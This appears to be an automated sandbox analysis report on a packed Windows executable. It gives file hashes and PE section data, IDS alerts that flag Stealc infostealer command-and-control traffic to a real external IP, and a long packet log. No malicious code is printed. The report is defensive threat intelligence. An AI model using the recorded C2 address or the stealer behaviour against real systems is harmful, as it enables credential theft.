Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94448250096307
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'793'024 bytes
MD5:	00a808a58290c0723fef814dfdefc856
SHA1:	e8b0d4be645e7b948042afddb047850a55a6f405
SHA256:	f90550486074a72ad34299b52e89c46900fd1d3c7431db90b65dcb8d2cd6abf4
SHA512:	34e4e57d46344550bfedb164344e5942317580c38fbd5a0c9d7488b690a8b2d14f5452e5811031ebfffb19b0366f177fa41ecd9aac4817549c6e97f315ae2f2d
SSDEEP:	49152:BUXeuv+hcJKrxQI6xoHsp9Hh86o1vplSyZ3iYJ:uOXhgKOIgoHe9HW6ehljZ3n
TLSH:	C385334AFDAC4048DF35E8B7159391503FB0758CC9FBE8094BA9766DEA3B40A3E4D41A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF3F8B345FAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	c9905d6cd582b25d850ee3f4e042f156	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a2000	0x200	80ee3e73d9d9e49a4ff9f7606fba9f21	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bwfmakny	0x4ee000	0x19c000	0x19c000	c04972f47241234206d4f14071aa94f2	False	0.9947047557645631	data	7.953736743097114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nmluqbel	0x68a000	0x1000	0x400	0fa7de2afce8fe3cba539edb2ca24284	False	0.7080078125	data	5.6691030140751835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68b000	0x3000	0x2200	ac902660eae0dc2fe2bf0e810c45374d	False	0.06330422794117647	DOS executable (COM)	0.7881950780902957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T21:59:00.422043+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:00.625733+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:00.632796+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-11T21:59:00.830763+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:00.837690+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-11T21:59:01.782825+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:02.360741+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:20.361555+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	58699	TCP
2024-11-11T21:59:21.023614+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.030426+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.487014+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.936219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:23.555038+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:23.842299+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:29.076789+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	58846	185.215.113.16	80	TCP
2024-11-11T21:59:59.586929+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	59058	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 21:58:53.140834093 CET	49674	443	192.168.2.5	23.1.237.91
Nov 11, 2024 21:58:53.344002008 CET	49675	443	192.168.2.5	23.1.237.91
Nov 11, 2024 21:58:53.344002008 CET	49673	443	192.168.2.5	23.1.237.91
Nov 11, 2024 21:58:59.558484077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:58:59.563426018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:58:59.563504934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:58:59.563760996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:58:59.568588018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.205130100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.205215931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.208383083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.213280916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.421907902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.422043085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.423283100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.428145885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.625672102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.625716925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.625732899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.625763893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.627223969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.632796049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830698013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830763102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.830848932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830862045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830873966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830887079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830899954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830899954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.830910921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830929041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:00.830935955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.830972910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.831001043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.832771063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:00.837690115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.035482883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.035603046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:01.064970970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:01.065025091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:01.070513964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070525885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070534945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070539951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070550919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070564032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.070573092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.782730103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:01.782824993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.160375118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.165251970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360572100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360584974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360603094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360622883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360634089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360646009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360663891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.360740900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.360740900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.360740900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.360740900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.361454010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.361466885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.361510992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.361510992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.361521959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.361561060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.361974001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.362015963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.362047911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.362145901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.473963022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.473984003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.473994970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474006891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474019051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474107027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474162102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474168062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.474168062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.474168062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.474210978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.474391937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474409103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474420071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474435091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.474447966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.474476099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.475073099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475090027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475101948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475128889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.475148916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475152016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.475161076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475188971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.475214958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.475975037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475986958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.475996971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.476016045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.476027966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.476030111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.476052999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.476061106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.476835966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.476882935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.476887941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.476933956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.588478088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588490963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588506937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588517904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588531017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588538885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.588542938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588561058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588562012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.588572979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.588582993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.588614941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.588640928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.589265108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.589279890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.589293003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.589308023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.589314938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.589322090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.589332104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.589354038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.589375019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.590105057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590116978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590127945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590141058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590152979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590163946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590164900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.590182066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.590198040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.590217113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591023922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591037035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591054916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591068983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591082096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591082096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591094017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591105938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591108084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591140032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591886044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591897964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591909885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591927052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591938972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591939926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591949940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591964006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.591965914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.591989994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.592005968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.592852116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592866898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592879057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592905045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.592924118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592935085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592943907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.592946053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592958927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.592974901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.593003035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.593696117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.593708038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.593719006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.593736887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.593743086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.593753099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.593776941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.700279951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700350046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700361967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700368881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.700382948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700393915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700400114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.700437069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.700772047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700813055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700824976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700859070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700870991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700884104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700927973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700938940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.700969934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.700994968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701086998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701136112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701137066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701147079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701160908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701173067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701189041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701212883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701406956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701459885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701467037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701478004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701505899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701509953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701517105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701528072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701556921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701577902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701822996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701865911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701869011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701878071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701908112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.701957941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701970100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.701981068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.702012062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.702032089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.702204943 CET	80	49704	185.215.113.206	192.168.2.5
